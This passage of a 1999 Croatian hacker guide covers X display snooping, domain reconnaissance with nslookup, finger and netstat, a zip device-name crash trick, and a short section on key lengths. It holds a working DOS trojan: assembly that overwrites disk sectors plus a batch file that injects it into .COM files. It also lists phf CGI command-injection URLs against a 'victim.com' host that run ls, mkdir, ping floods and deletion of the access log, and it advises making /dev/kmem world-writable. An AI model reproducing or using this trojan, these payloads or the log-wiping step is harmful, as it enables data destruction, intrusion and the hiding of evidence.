zahtjeva /dev/kmem da bude dostupan svima, a ovo nije uobicajeno moramo se pobrinuti za ovo. Moj savjet je da napisete shell scriptu koja ce se spobrinuti za ovo i nakon pet minuta vratiti sve u prijashnje stanje chmod 666 /dev/kmem sleep 300 # Spavanac 5 minuta chmod 600 /dev/kmem # Ili sto je vec bilo prije S obzirom na obzir da se moj vrli prijatelj NCC-WARP9 pozelio ukljuciti u ovaj projekat samo dan prije objave ovog dokumenta poslao je svoj "mali" doprinos ovom dokumentu. Dakle sljedecih par kila koda potjece od njega, svima onima koji zele poslati ovako nesto da bi to bilo ukljuceno u sljedece izadanje ponavaljam jos jednom da je adresa zexbig@usa.net. ZEX feat. NCC-WARP9: (U PAKLU ZAJEDNO {FIRE & POWER}) BRZI TECAJ X WINDOWS SECURITY 1. Motivacija / Sigurnost X windows predstavljaju sigurnosni rizik. Kroz mrezu, bilotko se moze konektirati na otvoren X display, citati tipkovnicu, ukrasti prikaz trenutacnog ekrana, i pokretati aplikacije na nezasticenom displaju. Cak, to je poznata cinjenica u racunalnom svijetu, ali poduzeto je malo da bi se korisnici informirali i obavijestili o sigurnosnim rizicima. 2. Kako se nalaze otvoreni X displaji? Otvoreni X displaj je u formalnom znacenju X server koji ima svoju kontrolu ulaza ugasenu. Gasenje kontrole ulaze se inace postize sa xhost naredbom. $ xhost + Ovo omogucuje da se konektira bilo koji gost. Odredeni gost se moze odrediti na sljedeci nacin: $ xhost + ZZZ.ZZZ.ZZZ.ZZZ Gdje je Z IP adresa gosta. Kontrola ulaza se moze ukljuciti izdajuci $ xhost - naredbu. U ovom slucaju niti jedan gost osim lokalnog se nece moci konektirati na prikaz. I tocka. Tako jednostavno. Ako prikaz se vrti u 'xhost -' stanju, sigurni ste od programa koji skaniraju i prisvajaju nazasticene X prikaze. Trenutacno stanje vlastitog X prikaza moze se dobiti izavanjem samo 'xhost' naredbe iz ljuske. Svatko sa imalo znanja o Xlib i sockets programiranju moze u roku od par sati napisati X skaner. Zadaca se moze ispuniti tako da se isproba ulaz koji je inace rezerviran za X windows, ulaz 6000. Ako je bilo sto aktivno na tom portu, skaner poziva XOpenDisplay("IP-ADDRESS:0.0") , koja vraca pokazivac na strukturu prikaza, ako i samo ako prikaz ima svoju kontrolu ulaza ugasenu. Ako je kontrola ulaza ukljucena , XOpenDisplay vraca 0 i prijavljuje da se prikaz nemoze otvoriti. Primjer: Xlib: connection to "display:0.0" refused by server Xlib: Client is not authorized to connect to Server 3. LOCALHOST problem? Pokretanje prikaza sa kontrolo ulaza ukljucenom pomocu 'xhost -' ce vas zastititi od XOpenDisplay pokusaja ulaza kroz port 6000. Ali postoji jos jedan nacin na koji napadac moze proci pored zastita. Ako se moze logirati na vase racunalo, on se moze konektirati na prikaz preko localhost-a ( sjetimo se da jedino localhost ima pristup ako je ukljucena kontrola pristupa ). $ rlogin zrtva.com $ xwd -root -display localhost:0.0 > ~/ukraden.xwd $ exit $ xwud -in ~/ukraden.xwd I voila, imamo sliku prikaza root prozora od X servera sa zrtva.com. Naravno napadac mora imati account na sistemu da bi mogao konektirati na X server. Svaka Xlib rutina ima Prikaz strukturu kao svoj prvi argument. Kada se uspjesno otvori prikaz moze se manipulirati sa njime u bilo kojem smislu. Za napadaca najvazniji su nacini skidanja slike trenutacnog prikaza i hvatanje pritisaka na tipke. 4. Snooping techniques - dumping windows Najprirodniji nacin uzimanja trenutacnog prikaza ekrana je preko X11R5 programa xwd ili X windows System dumping program. Radi navikavanja i da se dobije osjecaj kako program radi evo malog izvoda iz man stranica. OPIS Xwd je X Window System window dumping utility. Xwm omogucuje X korisniku da spremi trenutnu sliku prikaza u posebno formatiranu datoteku. Tu datoteku mogu citati ostali X programi radi ponovnog prikazivanja, preuredivanja, printanja, editiranja, itd. Prozor, meta je odabrana klikom misa na prozor. Program koji moze citati datoteku koju je napravio xwd moze osim ostalih citati i program koji se zove Xwud: OPIS Xwud je X Window System image undumping utility. Xwud omogucuje korisniku da prikaze u prozoru sliku koju je snimio xwd. Kao 'sigurnosna mjera' xwd ce zazvoniti na terminal sa kojeg skida ali uz dostupnost izvornog koda xwd se moze prepraviti tako da ne zvoni terminal sa kojeg skida, ili da se ne indentificira na listi procesa. Ako zelimo dump root prozora ili bilo kojeg drugog prozora od domacina, mozemo jednostavno odabrati prozor sa liste procesa, koji cesto odaje i ime tog prozora preko -name zastavice. Kao sto je prije bilo receno, cijeli prikaz se moze skinuti na sljedeci nacin: $ xwd -root localhost:0.0 > datoteka slika se snima u datoteku a cita se pomocu: $ xwud -in datoteka ili se jednostavno salje direktno u xwud naredbu. 5. PRISLUSKIVANJE - CITANJE UNOSA SA TASTATURE Ako se mozete konektirati na prikaz, onda se moze i logirati i spremiti svaki pritisak na tipku koji prolaze kroz X server. Najpoznatiji program te vrste je napredna verzija slavnog ttysnoop.c , xkey. 6. Xterm - Secure keyboard option 8. X Security tools - xauth MIT-MAGIC-COOKIE Da se izbjegne naovlastene veze na vas X prikaz, komanda xauth za kriptiranje X konekcija je cesto koristena. Kada se konektirate , logirate, xdm kreira datoteku .Xauthority u home direktoriju. Datoteka je binarna, i moze se citati samo kroz xauth naredbu. $ xauth list Dobije se izlaz your.display.ip:0 MIT-MAGIC-COOKIE-1 73773549724b76682f726d42544a684a display name authorization type key .Xauthority datoteka ponekad sadrzi podatke i o starijem logiranju, ali to nije vazno, posto se novi kljuc kreira svaki put kada se vi logirate. Da se pristupi prikazu sa xauth aktivnim, morate imati odredeni kljuc. Ako zelite otvoriti vezu odredenom korisniku, morate ga informirati o njegovom kljucu. on mora izdati naredbu $ xauth add your.display.ip:0 MIT-MAGIC-COOKIE-1 73773549724b7668etc. Sada, i samo sada, korisnik ( ukljucujuci i sebe ) moze se konektirati na prikaz. Xauthority je jednostavan ali mocan, i odklanja mnoge sigurnosne rizike u X sistemima. NALAZNJE NOVIH DOMENA I IGRANJE SA NJIMA (Ghost in the Machine) Dosada, najveci neprijatelj svih ljudi a ne samo zaljubljenika u racunala. Kako pronaci novu domenu na kojoj iskusati svoje novonaucene vjestine? Evo par primjera kako se moze "lagano" naci nove sisteme, kako uci u njih a ne samo gledati, i cuditi se kako uopce postoje domene sa tako cudnim imenima. - PRONALAZENJE DOMENA - Ako si na sistemu sa puno aktivnosti ( kao npr. jagor.srce.hr ), nove domene padaju kao sa neba, i to jednostavno provjeravanjem procesa koji su trenutacno na sistemu: % ps -aux | grep telnet ili jos bolje, pogledaj sve procese ali preko pipe u more tako da ne prelete svi procesi preko ekrana a vidljivi ostanu samo oni pri kraju liste: % ps -aux | more Cesto ce se vidjeti kako ljudi se telentiraju, rlogin, itd. na razlicita mjesta, cesto ce to biti mud ili bilo sto: % finger @ To ce ti dati listu svih korisnka koji su na tom sistemu, te sa kojeg su se sistema spojili ili od kuda. Cesto ce ih biti sa drugih sistema. Jos jedan jednostavan nacin pronalaska novih domena je i IRC. Konektiraj se na bilo koji kanal i napravi: /who # . trebalo bi biti puno novih domena, ili ljudi koji imaju kod kuce racunalo, kao npr. kanalima: #warez-#warez9 (koji su uvijek puni sa klincima koji nemaju pojima, uvijek dobro mjesto) Ima jos puno nacina da se to napravi, fingeriranje domena je jedostavno, te je prvi korak pri otkrivanju novih domena. nslookup: UTILITY ZA BOGOVE (Panther Modern) Nslookup util koji se na prvi pogled ne pokazuje kao jako koristan alat za haker populaciju. Aki kada se malo poblize upoznate sa tim alatom, vise nece te moci zivijeti bez njega. nslookup util ce vam dati mogucnost otkrivanja SVIH sistema. nslookup ce takoder omoguciti korisniku da nade prave "masine" unutar domene, eliminirajuci tako brige oko skaniranja kroz domene trazeci imena racunala. Sve u svemu nslookp util je jeko veliko bogatstvo i vrednota kod onoga koji zna ga dobro iskoristiti. NESTO O nslookup nslookup prati client-server model, u tome tvoj nslookup klient ce se ponasati kao prolaz za tebe da mozes pristupiti informacijama koje se nalaze na serveru, koje ce u mnogo slucajeva biti imenovane ns.domena.com, domena.com je root domena. U nekim slucajevima, domena.com ce imati vise name servera, oni su uobicajno imenovani sa ns1.domena.com, ns2.domena.com, itd. Inace nema pravila u pogledu imenovanja domain name servers (DNS). Inace sve sta name server zna, name server kaze. Sve sto name server zna, vas klient zna. I napokon, sve sto name server zna, znas i ti. PRONALAZENJE NOVIH DOMENA nslookup je neprocjenjiv alat u pronalazenju novih domena. Prvi korak je konektiranje via tvog nslookup klienta na jedan od glavnih DNS servera lociranih uokolo na netu. U ovom primjeru cemo koristiti ns.internic.net server: $ nslookup Default Server: ns.domain.com <-- Ovo je server za vlastiti server Address: 127.0.0.1 > server ns.internic.net <-- Mi idemo na ovaj server Default Server: ns.internic.net Address: 198.41.0.4 Sada kada smo na serveru, nastavljamo, i pronalazimo si listu svih edukaciskih name servera za koje nas name server zna. Naravno to je moguce raditi za sve vrste domena (edu, com, net, ili imena drzava, vojnih institucija, vlada itd.) > ls EDU <-- Svi edukaciski name serveri. [ns.internic.net] edu. server = NS.INTERNIC.NET edu. server = AOS.ARL.ARMY.MIL edu. server = NS1.ISI.edu edu. server = C.PSI.NET edu. server = TERP.UMD.edu edu. server = NS.NASA.GOV edu. server = NIC.NORDU.NET edu. server = NS.ISC.ORG edu. server = NS.NIC.DDN.MIL caltech server = DELILAH.CCSF.CALTECH.edu caltech server = SAMPSON.CCSF.CALTECH.edu caltech server = TYBALT.CALTECH.edu TYBALT.CALTECH 131.215.139.100 caltech server = NS1.LBL.GOV caltech server = PUN.CIS.OHIO-STATE.edu caltech server = gap.cco.caltech.edu gap.cco.caltech 131.215.139.43 caltech server = gap-gw.cco.caltech.edu gap-gw.cco.caltech 131.215.139.43 caltech server = hot.CALTECH.edu hot.CALTECH 131.215.9.49 ... Ja preporucujem da kada se radi lista kao ova, da se prenese u datoteku. To je jednostavno moguce napraviti kao sto je prikazano u sljedecem primjeru: > ls EDU > EDU To ce rezultat upita upisati u datoteku EDU. Top-level serveri koji su prikazani gore su serveri za koje nas server zna te i oni mogu dati slicne rezultate u ispisu cijelih domena. KORISTENJE NOVIH DOMENA! Zbog primjera pretvarat cemo se da nikada prije nismo culi za domenu caltech.edu. Idemo otkriti koji su njezini sistemi: $ nslookup Default Server: ns.domain.com Address: 127.0.0.1 > server hot.caltech.edu Default Server: hot.caltech.edu Address: 131.215.9.49 > ls caltech.edu [hot.caltech.edu] caltech.edu. server = gap.cco.caltech.edu gap.cco 131.215.139.43 caltech.edu. server = gap-gw.cco.caltech.edu gap-gw.cco 131.215.139.43 caltech.edu. server = tybalt.caltech.edu tybalt 131.215.139.100 caltech.edu. 131.215.139.3 caltech.edu. 131.215.51.153 zoo-mac 131.215.44.19 grayver-ppp 131.215.198.103 photon 131.215.156.14 bettys 131.215.139.180 102-Keck-Photo 131.215.9.60 ... Caltech.edu name server nam da prvo listu svih ostalih caltech.edu name servera. To ce najvjerovatnije biti beskorisno, ali ako je nekome dosadno, moze se za zabavu ici kroz te name servere i mozda naci neki server koji nije spomenjen u listi base name servera. Nego, takoder dobimo i listu svih lokacija kod caltech.edu. Te lokacije su stvarne, i upravo e odklonjena potreba za IP skaniranjem da bi se nasla lokacija i zadana domena. Mi ih imamo sve i jako smo sretni :). Postoji bezbroj metoda da se dobiju imena domena, jos jedan od interesantnih nacina je preko netstat. Netstat je program koji otkriva tko, odkuda, status veze spojen na nase racunalo. Ako se telnetiramo npr. na jagor.srce.hr te izvrsavanjem naredbe netstat dobili bi sljedeci ispis koji je JAKO skracen jer cijeli ispis sa jagora prevelik: Izdavanjem naredbe netstat > jagor.dat dobivamo u svom home direktoriju datoteku koja izgleda slicno ovome: UDP Local Address Remote Address State -------------------- -------------------- ------- jagor.50630 205.188.252.29.4000 Connected jagor.51847 205.188.252.34.4000 Connected jagor.52296 regoc.domain Connected TCP Local Address Remote Address Swind Send-Q Rwind Recv-Q State -------------------- -------------------- ----- ------ ----- ------ ------- jagor.33424 bagan.6667 8760 0 8760 0 ESTABLISHED jagor.fs pc-ivac.1026 32120 0 8760 0 ESTABLISHED jagor.33497 hep.tel.fer.hr.4444 8760 0 8760 0 ESTABLISHED jagor.33498 bagan.6667 8760 0 8760 0 ESTABLISHED localhost.34996 localhost.5500 32768 0 32768 0 ESTABLISHED jagor.34997 fics.onenet.net.5000 32120 0 8760 0 ESTABLISHED jagor.22 pc-hrvoje.1021 32120 0 8760 0 ESTABLISHED jagor.37838 xterm-8.6000 16384 0 8760 0 ESTABLISHED jagor.38787 bagan.6668 8760 0 8760 0 ESTABLISHED jagor.22 thphys.irb.hr.1018 32768 0 8760 0 ESTABLISHED jagor.41716 polaris.fsb.hr.6667 3979 0 8760 0 ESTABLISHED jagor.42965 xterm-3.6000 16384 0 8760 0 ESTABLISHED jagor.43290 diana.zesoi.fer.hr.58485 8760 0 8760 0 ESTABLISHED jagor.shell pc-hrvoje.1020 32120 0 8760 0 CLOSE_WAIT jagor.50310 bagan.6667 8760 0 8760 0 ESTABLISHED jagor.51343 titan.fpz.hr.6667 8760 0 8760 0 ESTABLISHED jagor.55247 burek.cc.fer.hr.6667 8760 0 8760 0 ESTABLISHED jagor.57010 bagan.nntp 8760 0 8760 0 CLOSE_WAIT jagor.59926 irc.webbernet.net.6679 8192 0 8760 0 ESTABLISHED jagor.59958 galija.vdu.hr.4444 8760 0 8760 0 ESTABLISHED jagor.61116 burek.cc.fer.hr.6667 8760 0 8760 0 ESTABLISHED jagor.61174 diana.zesoi.fer.hr.58700 8760 0 8760 0 ESTABLISHED jagor.ftp ax4-p12-zg.tel.hr.1116 8340 0 9112 0 CLOSE_WAIT jagor.ftp-data ax4-p12-zg.tel.hr.1140 8576 0 9112 0 ESTABLISHED jagor.64590 DeMoN.supplies.on-demand.co.uk.44320 17520 0 8760 0 ESTABLISHED jagor.65315 irc.webbernet.net.6681 8192 0 8760 0 ESTABLISHED jagor.65328 hyllus.concentric.net.6667 64240 0 8760 0 ESTABLISHED jagor.16384 zappa.mis.coventry.ac.uk.59247 8760 0 8760 0 ESTABLISHED jagor.65482 irc.arnes.si.6668 8760 0 8760 0 ESTABLISHED jagor.34669 irce.funet.fi.6667 8192 0 8760 0 ESTABLISHED jagor.ftp ax4-p12-zg.tel.hr.1306 8467 0 9112 0 ESTABLISHED jagor.ftp-data ax4-p12-zg.tel.hr.1308 8576 0 9112 0 ESTABLISHED jagor.38490 irc.arnes.si.6666 8760 0 8760 0 ESTABLISHED Iz ovog ispisa vidimo veze sa svijetom koje ima jagor.srce.hr, vidimo da neki ljudi rade sa ftp, neki ircaju, neki su za X terminalima, neki citaju newse. Pogledom na ispis javljaju se neke "nove" domene, npr.: zappa.mis.coventry.ac.uk hyllus.concentric.net burek.cc.fer.hr fics.onenet.net galija.vdu.hr hep.tel.fer.hr Te smo ponovno u poslu ! GOOD OLD ZIP CRASH !!!!! Dobri stari dani BBS ova su iza nas, doba kada su 14,4 vladali svijetom i ljudi su se hvatali za ulaz na popularne BBS ove (ako neznate sto su BBS, onda ste premladi, ili vam je apsolutno potrebna pomoc oko ovog gradiva). Neprospavane noci, uploadiranje 7mb na BBS da bi se dobili toliko zeljeni krediti da bismo mogli skinuti neku datoteku, te jos nakon 3 sata uploadiranja u zadnjim sekundama pukne linija sa BBSom (u to vrijeme resume jos nije postojao, a zivci su se spanali, iz vlastitog iskustva). Ti dobri stari dani, FidoNeta, i bubica i greskica u BBSovima i slastima tih navedenih. Zlatno doba BBS ova je bilo prepuno programiranja najefektivnijeg trojana, to su bili dani, a ne danas kada se dize tolika prasina oko toliko starih fora da nije za promatrat (NetHack, BackOffice itd. koje medij proglasava novim izumima, a stari su skoro koliko i sama osobna racunala), nostalgija me hvata ali sta se moze, buducnost je tu, ali ju vodi proslost. Postoje mnogo nacina kako da se srusi masina, u ovo moderno doba to se radi preko fragmentiranjem ping paketa, slanjem smeca na portove itd. Ali postoje i jos podmukliji nacini, pripadaju prahistoriji, ali jos uvijek su efektivni. Jedan od nacina je modificiranje zip datoteka. Jedna tako banalna datoteka kao Zip arhiva moze napraviti podosta stete. Kreirajmo Zip arhivu koja sadrzi datoteku sa ne manje od 6 byta, znaci moze biti velika koliko hocemo ali ne manja od 6 byta, te tocno 6 znamenki u imenu datoteke. Zatim uzmemo HEX editor ( bilo koji ), i otvorimo zip datoteku, i promjenimo ime datoteke koju smo stavili u Zip arhivu, ime datoteke se ponavlja dvaputa unutar Zip arhive u "ClOck$" (nije Case sensitive), ili AUX ili CON, tj. bilo koji device koji postoji na sistemu. Prilikom otvaranja te Zip datoteke pkunzip ce poceti pisati po device Clock$ te ce unistiti CMOS sistema ( Reboot racunala rijesava problem). NASTY TROJANS... AND I MEEN NASTY !!! Za razliku od danasnjih trojana koji su opasni... prije su postojali JOS opasniji trojani, koji nisu bili prebise inteligentni, radili su samo jednu stvar, a to je unistavanje podataka, na sve nacine na koji se moglo. Jedan od boljih nacina dolazi od BBC: Ako niste upoznati sa ASM programskim jezikom ovaj dio slobodno preskocite ali ako ste dosli do ovdje citajuci ovaj dokument onda ste vec shvatili da cisto koristenje gotovih rijesenja nije ... TO NIJE TO. NAUCI ASM !!!!! 0100 B419 MOV AH,19 'Uzmi default drive 0102 CD21 INT 21 'Zovi DOS 0104 B90900 MOV CX,0009 'Pisi 9 Sektora 0107 33D2 XOR DX,DX 'Pocevsi kao sektor 0 0109 CD26 INT 26 'Absolute Disk Write - NASTY Gornji je disassemblirani kod koji cemo strpati u .COM datoteku tako da napravimo .BAT datoteku koja ce uciniti posao umjesto nas, nazovimo tu datoteku TROJAN.BAT TROJAN.BAT echo off cls echo e cs:0100 b4 19 cd 21 b9 09 00 33 d2 cd 26 > ~~temp.~tp echo w >> ~~temp.~tp echo q >> ~~temp.~tp debug %1 < ~~temp.~tp > nul erase ~~temp.~tp > nul Zatim inficiramo neku .COM datoteku sa trojanom tako da ga pozovemo TROJAN Ostatak price prepustam samo masti. CGI PHUN http://www.victim.com/cgi-bin/phf?Qname=a%0aping%20-p%202b2b2b415448300d%20-c%205%20 http://www.victim.com/cgi-bin/phf?Qname=a%0aping%20-c%201000%20-s%205000%20 A HELPING HAND http://altavista.digital.com/cgi-bin/query?pg=aq&what=web&fmt=.&q=link%3A%22%2Fcgi-bin%2Fphf%22&r=&d0=&d1= http://www.victim.com/cgi-bin/phf?Qname=a%0als%20-al%20/dir/to/go http://www.victim.com/cgi-bin/phf?Qname=a%0amkdir%20/www/dirtocreate http://www.victim.com/cgi-bin/phf?Qname=a%0arm%20../logs/access_log Simetricni i asimetricni enkripcijski algoritmi... (Atlantis is calling SOS for love....) Treba razlikovati simetricne algoritme i njihovu duljinu kljuceva i asimetricne algoritme i njihovu duljinu kljuceva. 1024 se odnosi na duljinu kljuceva RSA algoritma (jedna od komponenti PGP-a), a 128 bitova se odnosi na duljinu kljuceva simetricnih algoritama npr. IDEA kod PGP-a. Americke inacice web preglednika koriste 128 bitovne simetricne algoritme i ta duljina kljuca je ekvivalent priblizno 2500 bitovnom kljucu kod asimetricnih algoritama. NITKO (mozda neki puckoskolac u svome home-made proizvodu :) ne koristi 128 bitovne asimetricne kljuceve. 128 bitovni asimetricni kljuc se prakticno moze razbiti uz pomoc kalkulatora, a 128 bitovni simetricni kljuc danas je bez olakotnih okolnosti (znaci cistim brute-force principom) NEMOGUCE razbiti. Ako ne vjerujete, pokusajte malo racunati :-) 2^128=340282366920938463463374607431768211456 (toliko ima mogucih kljuceva) -- Josko Orsulic josko.orsulic@fer.hr Za kraj ovog prvog izdanja vodica htio bih napomenuti da je hack scena u HR na prilicno niskoj razini hackeri su uglavnom srednjoskolci ili studenti koji se vrte po CARNet masinama i pomalo po HT-u. Sasvim je sigurno da postoje ljudi koji bi imali sto reci o toj temi, ali vecinom se sve svodi na flejmanje po usenetu i na njemu se nemoze naci ama bas nista korisno uglavnom prepucavanja balavaca (cast izuzecima) oko toga koje je vrsta sira popularna kod nas i tome slicnoga. Nesto je malo drukcija situacija na IRC-u postoji par ljudi koji su spremni pojasniti neke stvari i objasniti kako sto i gdje. Ali koliko sam ja uocio vecina pitanja se odnosi na "kako imati svog bota?" opet kazem cast izuzecima. Ali sveukupno stanje je poprilicno ocajno jednim djelom zbog toga sto ljudi bash i nemogu visiti satima on-line (barem ne dok HT ima monopol na komunikacije) zbog telefonskh racuna a drugi problem je sto nemaju izvora odkud bi crpili znanje. Iz nekog cudnog razloga domaci "znalci" ne dijele svoje znanje vec ga cuvaju ljubomorno. Iako jedna studija americkog FBI kaze da su crkva i hackeri jedine dvije organizacije na svijetu koje imaju ogromno znanje i djele ga medusobno. Jedino izdanje na hrvatskom koje je slicno donekle ovoj temi je phreak bible od kolege airwalk-a i to je sve sto se moze naci na hrvatskoj sceni. Nadam se da ce ovaj malo vodic potaknuti slicna izdanja kod nas. Bila mi je namjera prikazati ono sto se najcesce moze vidjeti kod nas i opisati. Vodic je vecinom namjenjen ljudima koji imaju barem neko iskustvo u radu sa unix-om jer su uglavnom opisane unix metode, dan je i popis osnovnih naredbi uz sve to. Znam da Vam nakon prvog citanje neke stvari nece biti jasne pa stoga procitajte ponovo dio koji vam nije jasan. Sljedece izdanje Vodica najavljujem za jesen ove godine i pozivam sve ljude koji misle i zele reci ili napisati nesto o ovoj temi da mi se jave na e-mail zexbig@usa.net. Special thanks svim zgodnim tetama koje su prosle kroz moje ruke tijekom pisanja ovog vodica (LJudi ja to sve razumijem pogotovo davanje...). Have phun & safe sex... By ZEX the #Project-X Admiral Copyright (r) ********************************************************************************************* "Knowledge is power" - Francis Bacon ********************************************************************************************* , , /( ) \ \___ / | The Good /- _ -/ ' Devil ! (/\/ \ \ /\ / / | \ Proud Member Of #Project-X CreW O O ) / | -^--'< ' Silver Devils (_.) _ ) / .___/ / -----' / <----. __ / __ \ <----|====O)))==) \) /==== <----' --' .__,' \ | | \ / ______( (_ / \______ ,' ,-----' | \ --{__________) \/ ZEX e-mail:zexbig@usa.net Other girls had their chance now it's time for us to dance. Thank you for cooperation. End 30.06.1999